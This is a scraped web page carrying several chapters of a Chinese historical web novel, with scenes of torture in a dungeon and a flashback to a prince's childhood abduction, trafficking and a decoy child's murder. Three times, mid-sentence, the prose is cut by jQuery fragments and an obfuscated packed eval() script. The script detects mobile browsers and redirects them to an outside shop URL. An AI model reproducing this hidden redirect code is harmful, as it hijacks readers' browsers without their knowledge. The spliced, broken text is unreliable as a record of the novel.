$(''#content'').append('' 漳南县尹,你是多大的能耐?还是说小小陈国是个人都能做官?”身后的人哄笑一声,“我脸上的疤拜你所赐,那夜你在几百几千人面前‘斩’了我的头颅,让我在营中被笑话大半年。”孙显又朝前走了两步。 陶修终于看清此人的脸和其上显眼的刀疤,稀薄的印象里,那晚他确实在一个人的脸上留下过战果,但不知其姓名。 几根火把倏地点燃,本就闷热的地牢温度骤升,陶修咽了下火烤似的喉咙。火光下,他绕过孙显,看见其身后一人手端覆了红绸的托盘,红绸底下藏着令他隐隐不安的东西,他猜不到那是什么,但绝不是让他好受的东西。 牢门被打开,闯进来的四个大汉轻易就把陶修制服在地,分别按住他的四肢使其挣扎不得。 “记住我的名字,我姓孙,免得死之前一无所知。”孙显拎了下裤腿蹲在陶修身边,对端托盘的人勾勾手指,那人揭开红绸,三把锋利的刀具和泛着寒光、长短不一的银针整齐摆在黑色缎面上。 孙显从中拿起一根最粗的针放在陶修眼前,笑道:“听说把它插到腹里,它会随着人的动作在体内来回游走,尤其像你这种会武艺的会游走的更快,也更痛苦。” 陶修遍体生寒,惊恐地瞪着他:“沙场杀敌,皆是为国效命势不两立,不是你死就是我活,任谁都无话可说,何况那夜我留了你一命。” “你认为我会感激你的活命之恩?” 孙显慢里斯条从托盘上换了根最细的银针放在嘴边吹了一下,目光阴沉,迅速插进陶修被压制的右腕,喘口气说:“我要让你再也拿不起剑。回来的人跟我说,有个自称大陈右卫的人威胁我们若是杀你他就要挥师攻城,我不敢赌是真是假,先留你一命。” 陶修咬牙忍住第一根针刺入后的疼痛,怒骂孙显:“杂碎,技不如人,杀就杀,为何要用此卑劣的手段折磨人?” “卑劣?我这也是留你一命啊,不感激我?” “你这种人的肚量永远只能在见不得人的地方发泄私恨,不过是个输不起的阴暗小人。” 孙显的心情很好,闭上眼把鼓鼓的眼珠转动两下,又挑出两根细针分别扎进陶修的脚腕。陶修仰头绷直腰杆,额头青筋暴起,十指随着没入肉里的针猛地蜷缩,衣裳一下就被冷汗浸湿,他死咬牙关不肯发出一丁点声音。 端托盘的男子小声对孙显道:“明日要带他去见贺将军,做的太过了恐怕不好收场。” 被汗水爬过的刀疤又痒又疼,孙显一把抹掉脸上的汗,吐了两口唾沫,恼怒地拿起小刀抵上陶修稍稍平复下的脸,殷红的血从锋刃下急着挤出来,“如果你不是以漳南城主的身份落在我手里,今日必叫你求死不得。” 抵在脸上的刀是地牢唯一有凉意的东西,寒意沿着肌肤在周身游走,陶修深喘一口气,把紧绷的身子一瘫,卑微地求饶:“别毁我的脸,见过贺功臣,杀剐随你。” 对此阴暗卑鄙的小人,他宁愿死在一个称得上为将军的人手中。 孙显把刀丢进托盘,拍拍手上的污气站起来,冷笑道:“恐怕贺将军更恨你。”他因不能杀掉此人而窝了一肚子火,重重地踢开牢门走出去,回头吩咐道:“关起来,滴水都不许给他。” 地牢重归寂静,火把几乎燃烧殆尽,陶修向光亮处爬几步,试图把脚腕和手腕的银针取出,但针已没入血肉,仅能看见表层微小的针孔,他扶栏站起来,四肢勉强都还能动,有种躲过一劫的轻松。 114.你不能杀陶修 公仪林和辛南佐只通过两重关卡就见到贺功臣,之所以如此轻易,还亏了公仪林的身份。 寿阳不愧是淮南郡治所,其府衙高大气派,占地和内部的房屋布局远不是漳南小城的县署能比。四人被一路引着走过三重门,才到达府衙正堂,进去之前几个人的兵器都被强制解下。 贺功臣背手站到他们面前那一刻,公仪林才知此人就是那日在田里舞剑的何姜,而贺功臣也才发现和他好奇的大陈右卫将军在几日前就见过一面。 贺功臣的欺骗奸狡行为让公仪林非常不舒坦,他面露不屑,拱手相问:“你是何姜?陶修在我面前几次提起你为人豪迈豁达,视你为友,但我看你的所作为根本就配不上他的称赞,堂堂淮南太守竟用如此有违客人意愿的强硬手段待客,令人刮目相看。” 贺功臣让几位客人依次落座,呵呵笑道:“那日在漳河碰到陶城主确实在我意料之外。未结识他之前我就听说漳南新上任的县尹与之前的几个废物都不同,尤其你今日扎在漳河岸边随时听候调遣的军队,更令我日夜难安,早就想会会他了。” 公仪林从容不迫道:“待客何须如此?多年来陈、周两国相安无事,虽边境偶尔有小龃龉,但丝毫不影响两国的亲密无间。贺太守今日对陶修的所为,我甚是看不懂?论公,无故劫杀我大陈官员,此等挑衅和侵犯,是轻视我大陈无人吗,论私,你们二人在不知彼此身份前就结识,称兄道弟往来密切,并无仇恨,太守为何这次要用此不见天光的手段?” 他从怀里掏出一块葱绿色穗子的玉佩,往前推了推。 贺功臣沉默地望了眼那块玉佩,当日赠送给陶修时,确实带着会友的情分在里面,但现在双方敌对,那点情分算得了什么,“亲密无间、相安无事?如果这些冠冕堂皇的话算数,前年被你们押至建康斩首的伊娄振明可就死的真冤,我不过是做了件与你们当初一样的事。我有仁心,动的只是城主一人。你手中的宝剑原是我的东西,身为三军主帅,陶修从我这里拿走宝剑让我颜面尽失,那场火烧的也旺,使贺某免官削爵整整两年无所事事。从认出他就是那夜大火的主谋起,我就没打算放过他。” 话虽狠戾,公仪林并没从贺功臣眼中看到深仇大恨,遂尝试用软和的语气和他周旋:“我与陶修是挚友,今日是一定要带走他的,希望贺太守看在我的面子上让他平安回城,我想太守也不希望这件小事引起两国战火。”顿了一下,他又开口道:“放他回城的条件,自然请太守开口,只要我能做得到。” 贺功臣仰头大笑,盯着下手席的年轻人哼了一声:“连你今日也休想走出我的地盘,还敢大言不惭带走旁人。” “让我见见陶修。” 贺功臣示意身后的人去带陶修上来。 这时,一直沉默不言的辛南佐起身走到堂中间,对在场众人行过一圈佛礼,转而沉声问高坐堂中的人:“贺将军,还记得我吗?” 辛南佐常因其高大的身量而让人过目难忘,贺功臣打量过后露出惊讶的神色:“把陶修从千军中轻易就带走的大和尚是你?” “正是我,将军若还记得,那夜夺走将军宝剑的人也是我,如果和尚我这条贱命能换徒儿一命,我现在就自刎在太守脚下。” 公仪林震惊地转向辛南佐,难怪陶修对他师父十分恭敬顺从。 “一河之隔的漳南有陶城主这样的人存在,对寿阳是致命威胁,我将寝食不安,你们真以为我会放他走?”贺功臣目光一变,厉色下令:“见过一面后就请你们自离,否则别怪我最后的情面都不给。” 对方一直不肯松口的态度激得公仪林怒火填胸,隐忍非常,仍旧笑对贺功臣,“这是借口,今日杀了让你害怕的陶城主,江山才人辈出,明日又来郭城主,太守又能杀到几时。何况,今日我们疏忽落于你手,来日又怎知你没有落单之时?” 双方都用平静语调掩饰怒火,控诉两国交界处时常发生的摩擦和战乱,谁都看似有理。一盏茶的时间过去,门外有脚步响起,公仪林急转头望去,顿时心里一惊,狠狠攥住拳头,才四日不见,陶修就被折磨的形容憔悴衣冠不齐。 陶修步伐很慢,被跟在后面的孙显四人推进大堂,跨门槛时脚踝突然向内崴了一下,重心不稳掼倒在地,整个身躯重重撞击地面。 公仪林推开前面的案几跨过去,叫一声:“康乐?” 听见这声叫唤,陶修萎靡不振的双目忽变得明亮有神,左手紧抓公仪林手臂,露出一抹酸涩的笑,哑声问:“锦意找到了吗?” “还在操心这个?快起来。” 陶修尝试站起来失败后,有气无力道:“我的手、足被孙显打入银针,能走到这里已耗尽体力,让我坐着。” 公仪林摊开他的手掌,见他右手无力下垂,心猛地下沉。 这些畜生怎么敢,他废了多少功夫才把他的左臂养好,才四天时间就把人折磨成这样。他终于忍无可忍,突然暴起,拔了一个侍卫的剑直奔贺功臣杀去。 贺功臣波澜无惊,稳坐正堂。 公仪林的剑被方才一同进来的孙显截住,两剑十字交叉,一个向上发力,一个向下压迫。公仪林瞋目切齿,双手下沉猛一发力,刚把孙显的剑斩落于地,旁边又迅速上来几人将之拦住,“你竟敢对陶修动此卑劣的刑罚,枉为郡守,就是刚才我还认为你宽厚仁德,心存侥幸你能放人,我去你娘的贺功臣……” 贺功臣虽有杀陶修之心,但绝无虐待之意,见他脚步虚浮形容不整走进来时也暗暗吃了一惊,斜目斥责过孙显。面对公仪林粗俗的唾骂,和不日前还诚挚的把陶修视作朋友,心里生出三分愧疚,起身走下大堂立于陶修跟前,良久俯视这个令他痛恨又忌惮的年轻人,“陶修,看来你我做不得朋友了!” 陶修笑了一下,诘问道:“贺将军,你做何姜时曾对劫民掠土的勾当深恶痛绝,对两地百姓的来往有包容之心,怎么转变身份就换过一种想法?我不信一个人的本性会多重多样,所以之前你何姜的身份与我就不是朋友,你的那些话都是假的,自始至终我们都是对立的两方。” “你能认清这个事实最好,今日你是走不出去的,但我还不想陈国的右卫将军也牵涉进来。” 话音刚落,张城、阿八用身边士卒不及反应的速度夺了他们的兵器,凌然地戒备即将发生的事。 这时,辛南佐捻动佛珠,脚步轻盈走至众人前面,不失出家人气定神闲的风度,却说出佛祖都捂耳不忍听的话:“那晚我能带走徒弟,今日我还能把当日的事重复一遍,不惜破戒杀生。” 贺功臣岂能禁得住他二番挑衅,脸色顿时阴沉,退回至原位,将手中茶杯掼碎在地,呼啦一下从四面八方闪出一队弓箭手,“那就再让我开开眼界。今日叙旧到此为止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422847|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我说过仅要陶修一人性命,他死后——”翘起一侧嘴角朝公仪林露出讥讽的冷笑:“你我上报朝廷时也要用边境难以回避的争端去解释他的死因。” 面对几十个弓箭手,铜墙铁壁的辛南佐也束手无策,紧闭双目,嘴里念念有词,捻珠的手又急又乱。 陶修再次想站起来,双足从经脉传出尖锐、密集的疼,沿着筋骨直奔脑壳,片刻就汗湿衣裳。摇摇晃晃站定后,从嘴角勉强挤出一抹笑容,对公仪林和张城道:“贺将军让你们走就快走,放在四年前,绝想不到我这样卑微的人会有你们一帮出生入死的好兄弟,都回去吧,这是我和贺功臣之间的私怨,那晚我们沧澜杀了周军几百人,他怎会善罢甘休,换作是我,也要为兄弟报仇。” 公仪林扶住他的手臂苦笑一下:“这是把我当什么人了,来都来了,一起赴死不失为一件快事?” “你不能死在这,听我的。” 和阿八并列站在一起的张城,终于因陶修那句话勾起陈年旧恨,郭威和无数兄弟悬挂大江上慢慢腐烂的尸体在他脑中晃荡,烂掉的白骨一截一截坠落江中,砸的他心头异常疼痛。 报仇就在今日。 张城指着贺功臣大骂:“姓贺的,沧澜队与你的仇不共戴天,今日就是你的死期。”骂声和手里的刀同时朝贺功臣甩出去,刀飞速旋转,化作锋锐的虚影直奔目标而去,千钧一发之际,同时做出反应的还有弓箭手和陶修。 贺功臣急侧身躲避,刀擦着他的左臂掠过,结结实实插在身后的墙壁上。 贺功臣躲过张城的一刀,但众多弓箭手射出的箭却正中目标。 陶修扑倒张城的一瞬两人同时中箭,一支在张城左臂,一支在陶修右臂。 府衙的大堂陡然陷入乱战,刀枪剑戟在贺功臣的默许下从四周疯狂射出。 公仪林几个人在此狭小的空间无法施展拳脚,与围攻上来的人艰难地白刃相对,只片刻,他和阿八都负了轻伤。就在公仪林觑准气定神闲的贺功臣要擒贼先擒王时,突然一声震耳欲聋的吼叫撞击屋梁,回声碎成无数片砸向众人,“住手——” 辛南佐双手挣断佛珠,表情狰狞,如恶鬼发怒,佛珠在安静下的大堂里弹蹦不安,浑厚、沧桑的声音从他阔口中发出,一字一句道:“贺功臣,你不能杀陶修。” 洪声如钟,震慑众人,陶修和张城背靠一起拔掉臂上的箭镞急回头看他,贺功臣捂着左臂,面无表情,公仪林收敛狠戾的杀气一动不动。 “他是梁室子孙,岳阳王萧宸之子萧琢,他是萧世子,你不能杀他。” 大堂内一片寂静,倒不是因为这里可能真的有世子,而是众人对此荒谬谎言都没能作出及时的反应。 “师父,你在说什么?”双足又传来钻心的疼,陶修一把扶住张城,皱眉忍过这阵疼痛才舒出一口气重又站定。 贺功臣也愣了一瞬,立即问:“你说他是萧宸之子,此话可当真?萧梁宗室为何会出现在漳南?”怕有误伤,示意大堂内的兵甲都退回原处。 梁国虽是周的附庸小国,帝王家终究有不能侵犯的威严和尊贵。 辛南佐从怀里取出一样东西丢给他,“这是证明萧世子身份的金印,萧家贵胄都有一枚,这枚金印是我十六年前从岳阳王府偷来的。” 贺功臣接了印只扫了一眼,“你偷的?你究竟想说什么?” 115.江陵的萧世子 曾无数次怀疑陶修身份的公仪林终于等到这一天,他因家族便利和旁观者清的有利位置早就比陶修先知道他的身世。从起先的怀疑到后来的确信无疑,只差去江陵寻个确凿的证据,心里早已承认了陶修的来历,但今日从辛南佐口中说出真相,他还是大为震撼,浑身颤了一下,在这酷热的夏日,冰凉的鸡皮疙瘩虚虚痒痒从双臂一直爬到脊背。 这人究竟是哪般命数,会摊上如此离奇可悲的境遇,上至云端,下至淤泥。 他从陶修脸上看到茫然、疑惑,陶修似乎对他师父用此拙劣的借口欺诈敌人感到吃惊。 贺功臣将信将疑,令刚才还杀得天翻地覆的人再次坐下,他要听听这个年轻人到底是不是萧梁的人。 辛南佐跪在陶修跟前,使他刚才脱口的话慢慢成真。他上身伏于地上久久不肯抬头,发出的声音悔恨且苍老:“世子殿下,十六年前七月初三那日,把你打晕带出江陵城的人就是我,是我亲手毁了你的人生,把岳阳王府搅得四分五裂,是我随手把你丢给拐子,让他把你卖到这个世上谁都找不到的地方,这一切都是我做的。” “师父,你知道自己在说什么吗?大可不用为救我编造离谱的谎话。”陶修怀疑自己身世多年,怎会不知这些话的分量,巨大的冲击只能令他摇头否认,惶惑不安到不知去拉师父一把,“江陵离此很远,很远呐——”他声音很轻,思绪变得缥缈,然并不能回想起五岁那年任何一件事。 “你手中的麒麟黑玉印,上面‘康乐’二字就是你的小名,我后来因良心不安几次返回江陵打听,才知道岳王、王妃唤你麒麟儿。我不忍你连名字都被剥夺,就哄骗你是一个熟人家早夭孩子的名字,要你代那孩子继续活下去,你并不介怀,说麟儿的名字听着亲切。这些你都不记得了?” 陶修从座上挣扎起身跪到辛南佐对面,扶起他几乎与地融为一体的双臂,沉静的双目审视着师父,几次要启唇相问,最终无语凝噎。 “你到底是什么人,连萧氏世子都敢劫持,为谁效命?”公仪林的厉声一问大概是在场之人都想知道的。 辛南佐失神的目光落在一条地缝上,心里黑茫茫一片,嗫嚅自问:“我是什么人?我到底想走哪条路?”抬头望着陶修,硕大的双手几乎按进陶修的肉骨里,哑声说道:“我是彭城人,是河东王萧钰门上的拎刀人。十六年前我奉命暗杀萧琢,等我知道自己要杀的只是个五岁孩子时,我很慌张,像我这样杀人无数的人,居然在一瞬间生出仁念,决定留他性命。”说到此,辛南佐问大堂正中的贺功臣:“将军是否验证过金印,放了陶修,我和他之间还有一笔未算的账。” 贺功臣摩挲掌中金印,沉思不语,他是没见过象征皇室贵胄身份的金印,但这枚金印上的图纹精巧华丽,蛟龙盘踞其上,击之声音沉闷暗哑。他找不出质疑的地方,更不敢当作毫不知情随意处决陶修。 贺功臣小心翼翼把金印放回前面的案几上,露出和解的笑容,说:“我也想听听你口中的故事,若是合情合理、有依有据,我定会亲自谢罪。” 公仪林紧盯那枚证明陶修身份的金印,终于按捺不住好奇和激动,长身而起,负手走到贺功臣前面,随意拿起印在空中抛个弧度接在手中,只看了一眼,就笑说:“确实是萧室的东西,没想到陶修竟有这样不为人知的身世。前朝覆灭迁都江陵后,旧时的宫殿屋宇留下不少奇珍异宝,但他们仓皇逃难时留下的印玺可没人敢保留,我有幸见过两枚和此一模一样的金印,都已在烈火中融化成金。” 贺功臣想到自己方才还非取陶修性命不可的狂妄,略尴尬的笑笑,他身后的孙显,额头早就爬上虚痒的汗。 公仪林又走到陶修跟前,扶起师徒二人说:“过往的事,请有量大师细细讲明白,究竟是什么人非要让一个小孩沦落到此?” 公仪林想从陶修脸上细挖对这件事的反应,发现他的面孔异常冷峻严肃,唯有从侧面看去微微上翘的嘴唇还有一点往日的柔和,眼中两滴剔透的泪迟迟不肯落下。 陶修这张似在梦境里迷失的脸让公仪林心疼,他想触碰他,想把他搂在怀里,忽觉得此人与己相离甚远,不再是甘受清贫、温和谦卑的男人了,上天赋予他的不凡身份透出万丈光芒,使公仪林不敢再亵渎他半分。 虽有些荒唐,公仪林第一次觉得对此人如溪水般清澈的爱意变得十分卑微可憎。 * * * 永熙八年夏江陵岳阳王府。 岳阳王萧宸长子萧琢的五岁生辰已过了三天,生辰时收到的满屋子贺礼才打开到第六件。一向文静不喜多言的萧琢从众多贺礼中拆出一块方方正正黑的纯粹的黑玉,他把玉捧在掌中借光观察其内部质地,玉很沉很重,萧琢不慎将这块上好黑玉摔成大小六份。他捡起最小的一块走到面露可惜之色的萧宸面前,安慰道:“父王不必惋惜,碎了也能物尽其用,我就先用这块小的练手,再把最大的那块雕琢成你们喜欢的样子。” “哦?你打算如何利用?”萧宸望着比拇指大点的黑玉,笑问乖巧伶俐的儿子。 “给我三天时间,我准会令父王大开眼界。” “好,父王等着,”他这儿子有琢玉刻章的喜好,所谓的大开眼界无非是在边角料上刻刻挖挖,他屋里的木架上摆了几层材质不一的雕刻,此子还小,还不能叫做玩物丧志,遂很宠溺地叮嘱:“别让刀伤了手。” 萧琢回到翰墨小院,在书案上的一堆器材里寻找适合的图纹,正思索取用哪种图腾做钮时,岳阳王妃轻推门扉走进来,静静站在儿子身旁,见他抓耳挠腮在一沓图样中翻拣,王妃温和地建议道:“何不就雕个麒麟儿呢?” “我也有这个想法,可是图样太复杂很难下手。” “慢慢来,不急。”她跟天下所有母亲一样慈爱,总忍不住对孩子多看几眼,儿子生来一副温和沉静、行事认真的性子,不需谆谆教导就长成了她想要的模样。她拿方帕子擦拭孩儿鬓角细密的汗珠,不厌其烦。 萧琢仰头笑对母亲说:“我刻章的时候只能安安静静的,三日后再拿给母亲和父王看,可以吗?” 萧琢的模样和性格很像母亲,都有一双清澈沉静的美目,岳阳王妃更是温婉柔情,此刻见儿子下了“逐客令”,王妃朝他后背轻捶一拳就离开房间,走到门边又转身对他说:“我儿做事一丝不苟,和你父亲太像,累了就出去玩一玩。” 萧琢抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他带了两名十五六岁的大仆从东角门出去,跨过三条从府里通向外面的阴沟,又爬过一个堆满枯枝烂草的大坑,听说这个坑是盖王府的屋宇时取土留下的,从大坑里爬上来拍去薄衫上的灰尘,他对站在林中央的几个小孩喊道:“你们又在玩什么?” “弓箭,我爹刚给我做的。”说话的孩子大一点,正是春天那会险些和萧琢打起来的太仆家的公子,“你不是不给我碰鸟窝吗?我今日就射下来给你看看。” “别射。” “为何?里面的鸟早羽翼丰满飞走了,我就射个空壳而已。” “谁知明年还会不会回来?” “我可不管那么多!”这孩子张弓搭箭,可惜力道不够,那支箭飞至半空就软踏踏地落下,他恭敬的把弓箭交到萧琢手中,请教道:“听说你的准头很厉害,试一个我们瞧瞧。” 经不住众人夸赞,萧琢毫不谦虚地人前卖弄不到六岁的臂力,那放出去的箭所达高度还不及太仆家的公子咧。 “噫——不过如此。” 一群孩童拿着太仆儿子的弓箭在林中轮流展现本领,热闹又天真。 落日将要下沉时,天边出现漫天红霞,这帮贵族的小公子跟着仆从一个接一个回去,霞光拉长的影子,把他们颜色不一的衣裳照得通红。 后来这些公子聚在一起回想那晚在林中最后一次见到世子的模样,纷纷说日落之时站在树林边的世子身上披了层金色光芒,好像透过晚霞的金光都投在他一人身上,他像个注定在人间留不长久的童子。 116.黑暗永无止境 萧琢把太仆家公子的弓箭留下了,承诺明日再在此处相还。林中幽静昏暗,他发现一向寸步不离的两个大仆王韵、王洁不见踪影,拢嘴喊了两声,却喊出一个身躯高大的陌生人。 此人像是从天而降,猛然出现在萧琢身后,只问了一句话:“你是世子萧琢?” “正是我,你是何人?”萧琢仰头还没看清此人模样,忽觉落日骤降霞光遽退,天地迅速溶于黑暗。 再睁开眼睛时,萧琢发现自己置身一座破旧的寺庙,一束强烈的光从坍塌的屋脊射向地面,屋外已是正午。被绑缚的双手双足和严重的口渴令他惊慌不安,轻唤几声:“王韵?”许久不见回应,恐惧让他轻轻啜泣叫唤起母亲来。 双手绑的太紧已开始紫胀,萧琢尝试用牙齿解开麻绳,直到嘴里冒出淡淡的血腥气,蹦跳至虚掩的院门前大声呼救,他又一次叫来一个陌生人。 这人身量瘦小精悍,贼眉鼠眼,拎着麻袋把萧琢浑身上下打量一遍,狞笑道:“很有卖相。”小小的麻袋像个能装一切阴暗的法器,萧琢困于其中,他在黑暗里失去方向和时间,只觉得每一刻都漫长而颠簸,他求外面的人给他一口水喝,得到一句残忍的拒绝:“不再是公子哥了,忍忍吧。” 在永无止境又曲折的小道上颠簸三日,萧琢明白自己离江陵越来越远,那口心心念念的水还没喝上。他昏昏欲睡、时间颠倒,偶尔哭闹,哭闹之后嘴里就更焦干难忍,身体对水的渴求甚至超过对母亲和父亲的想念,也越过恐惧,直达绝望的边界。 他老老实实的昏睡正中赶车人的心意。 第四日,萧琢奄奄一息将死的时候,一碗清凉的水把他从深渊拉上来,他在那人得意的嘲笑下喝了整整五碗水,又在身体的高热中沉睡无数日,等他再次清醒过来,赶车人又换了一个,萧琢再也记不起自己从何而来,为何会在永不停息的车上走了这么久的路。 有时候他又能短暂的清醒,告诉赶车人他是王府世子,除了挨上刺痛的巴掌,没人肯相信他,赶车人说:“即便你真是世子,我疯了吗要送你回去?” 饥饿和□□的惩罚逐渐使萧琢失去反抗,他认命、顺从、乞求,蜷缩在麻袋里等着掌控他命运的人赏赐维持活下去的食物。 换到第四个赶车人时,萧琢知道自己已达路途的尽头,因为有人伸出五指毫不避讳地用五只羊来衡量他的价值。那个深夜萧琢还记得,是八月初的一个深夜,最后一个赶车人把他从麻袋拎出来丢在陶家的地上,用脚踢着他,对陶家父子伸出五指。 “哪值这么贵?我去城里大街上捡一个不比这个便宜?” “大街上捡来的品性恶劣,养不熟。你问问这个,一路上吓懵了,吵着说自己是什么世子公子,都糊涂了,以后就说你们是他亲爹亲老翁。” 最后,三根指头成交了这笔生意。 无数个夜深人静,萧琢摸出藏在趾头前才保留下来的小黑玉印章,摩挲上面字迹,无论如何都记不起此枚印章的来处,也不知“萧康乐”是什么人。 直到十二岁那年,他跟一个叫公仪林的人互换小名,第一次觉得,萧康乐应该就是他自己。 * * * 辛南佐是二十多岁时自彭城逃难至江陵的流民,因其格外突出的体魄和力气,很快就成了河东王萧钰府上一名剑客。他心狠手辣之外,还有与之相配的勃勃野心,他为之效命的不甘屈居一隅的河东王萧钰恰能给他想要的一切。 萧梁被陈国逼退江陵,疆土贫瘠国力衰微,梁主自愿向周称臣。江陵城的西北方驻扎大量周国兵马,以助梁国共御外敌的借口时刻监督梁室。萧钰痛恨在他人铁蹄下受辱生存,豢养一支近百人做暗杀勾当的军队,专门对付来自西北方异国的压力。因这支队伍私下干的都是杀人的恶事,百姓叫他们拎刀人。 辛南佐有把锋芒厚重的黑色大刀,做拎刀人六年,此刀至少饮过百人鲜血,刀刃豁口有五处,他发誓做不成萧钰帐下大将就绝不换此刀。 收到暗杀萧琢世子秘令那日,辛南佐提前把刀磨的锋利无比。 河东王和岳阳王兄弟之间表面上和睦扶持,一致对外,但私下萧钰却一直想将掌控在岳阳王萧宸手中的五万兵马权夺到手中。 萧宸、萧钰兄弟二人对梁室囿于江陵的态度截然不同,萧宸认为弱小的梁国已无力再现当年雄姿,只愿天下百姓无战事之苦,安居乐业,曾经的辉煌早已是过眼云烟。萧钰则不然,梁室占据荆州重镇的优越地理位置令他心存幻想,一直幻想沿江东下,兵临建康门户广陵的盛况。 无欲无求、年纪轻轻就想享天伦之乐的萧宸手里的兵马成了萧钰实现抱负的唯一筹码。 人人都说萧宸胸无大志,手握梁国最后的利剑却整日搂着心爱的女人坐在花园里看唯一的儿子一点点长大,确实与曾经骁勇善战的岳阳王判若两人。 辛南佐知道萧宸的命门就是他的儿子,也知道他的儿子年纪不大,但当他全副武装出现在小世子面前时,还是大吃一惊,世子完全就是个一只手就能拧断脖子的小狸猫。 辛南佐躲在深坑的枯枝下一连蹲守三日,七月初三这日的晚霞迟迟不肯散去,最后一个留在松柏林的世子就像上天也站在他这边,多好的一个机会。 暮色轻笼,松柏林光线更暗,王韵正要带世子原路返回,后脑勺突然一阵剧痛。他和王洁二人在一片嘈杂混乱声中醒来,周围一片漆黑,入夜后的树林有夏日闷热的松香味道,两人摸着后脑勺被重击的疼痛,环视四周,居然还身处带世子出来玩耍的树林,顿时吓的魂不附体,脑子陡然跟着清醒。 两人辩听出松林外持火把高喊的声音:“世子——出来啊,世子,你在哪?” 王姓二人自小就养在府里,无家无口,他们从一堆烂草里爬出来时就明白发生了何事,几句达成共同计划,趁着黑夜没命的往城外跑。 萧琢的失踪,岳阳王府反应迅速,快马加鞭通知几个城门全部关闭。第二日,王韵二人在密集的搜捕下无所遁逃全部被捉拿回来。这对无辜少年因此事牵连又延误寻找世子的时间,皆被斩首在树林旁的深坑里。 那晚的辛南佐带了很多兵器及暗器,随意哪样都能轻易把年幼的世子弄死,哪怕仅用蒲扇似的大手也能将他捏死。当他对上萧琢清澈乌黑的双眸,伸出的手不由得犹豫一瞬,他咬牙切齿压下动摇的决心,忽从暮色笼罩的远方传来钟声,是寺庙的钟声,只撞击三下,声音闷重混沌,在暮色里有点悲伤旷远。 干了多年坏事,杀人无数,辛南佐在一个孩子面前现了原形,心底的最后良善让他决定放这孩子一条生路。 辛南佐把击晕的萧琢拎在手里掂了掂,确实像只猫,他在落日与西山彻底融合时离开了事发地,用拎刀人的通行令牌轻易离城,把孩子丢在远离城郭的破庙。 岳阳王府彻底陷入绝望和黑暗。 世子丢失的第一夜,王府灯火通明至天亮,人人惶恐不安,慌慌张张进出王府,近千人在寻找一个五岁的孩子,没有一个带回抚平恐怖气氛的消息。全府上下有任何嫌疑的人都被下到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445500|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狱中,东角门的四名侍卫肝胆俱裂,跪在深坑旁望着王韵二人被斩首。 最令人毛骨悚然的莫过于府里一声声凄厉的哀嚎,他们不知那样美貌年轻的王妃竟会嘶喊出如此绝望的声音,她失去往日的端庄仪态,蓬头垢面、失魂落魄等每一个回来禀报寻找结果的人。 本该死的人既然活了下来,就必须有一个人替他去死。辛南佐很快就找到目标并顺利杀害那个孩子,将之伪装成萧琢的模样。这个与世子几乎同时消失的孩子并未引起别人关注,寻常百姓家丢失孩子远不及王府世子丢失来得轰动,他的失踪被王府声势浩大铺天盖地的搜寻彻底掩盖。 热浪蒸人的夏日,三天时间足够一具尸体腐烂变形。 装尸的麻袋突现王府大门外,无人敢轻易解开。那晚,许多人看见高大威仪的岳阳王被人搀扶到血水淋漓的麻袋旁,嘴唇上下打颤,他闭目仰头,站了很久都不敢动弹。 是萧瑛亲自解开装着侄儿尸体的口袋,一颗腐烂的头滚到他掌中。 深夜寂静,火把发出噼啪爆裂声,萧瑛默默起身,悲愤让他不知下一步该做什么。人群里,戏耍了众人的辛南佐意外的被五王萧瑛吸引,这个仪表堂堂姿容俊美的年轻人给他留下很深的印象。 当陶修十四五岁初有少年人形态时,辛南佐第一个想起的就是萧瑛。 岳阳王妃沙哑的声音撕裂寂静的黑暗,她像一只发疯的猛兽,先是抱着儿子尸体大哭,而后到处寻找能撞击的硬物,她可能已经疯了。 王妃不断寻死那段时间,二儿子萧蕴救了她。王妃感受腹中胎儿轻柔的跳动时,她对身边每一个人说:“麟儿回来了。” 萧琢“死”后,辛南佐才觉察到危机,萧钰绝不会将掌握重大秘密的人活着留在身边。 一个大雨滂沱的雨夜,辛南佐逃了,彻底离开江陵。后来他回过彭城、到过长安、去过邺城,成了四处流浪的剑客。 有一天,他因疲惫坐在邺城街道的阴暗角落里,看见一个六七岁的要饭花子被控制他的人拖走,突然想起四年前被他生生改变命运的世子,是不是也跟刚才的小叫花一样,肢体残废、爬在烂泥里四处乞讨。 那年的三声钟鼓之声,穿越绵长的时间,带着佛光重新萦绕他心头。 辛南佐当即决定重返江陵,寻找收买萧琢的人贩。 半年时间,他一路打听到汝丘出名的拐子,萧琢就在那人手里结束了最后一程。 玉河村的小钟山,一场大雨过后,山中清新潮湿。叫陶修的弱不禁风的孩子爬在一棵被上一年的天雷击倒在地的枯树上,小心翼翼抠树干上的黑木耳。他拎起陶修的脖子,再次对上那双清澈的双眸,四年时间,这双眼睛不再神采奕奕,充满忧伤又胆怯,像只还未断奶迷路在林中的狼崽。 “你想学武吗?我能做你师父,我可以教你剑法。”这是辛南佐祈求良心安定的第一句话。 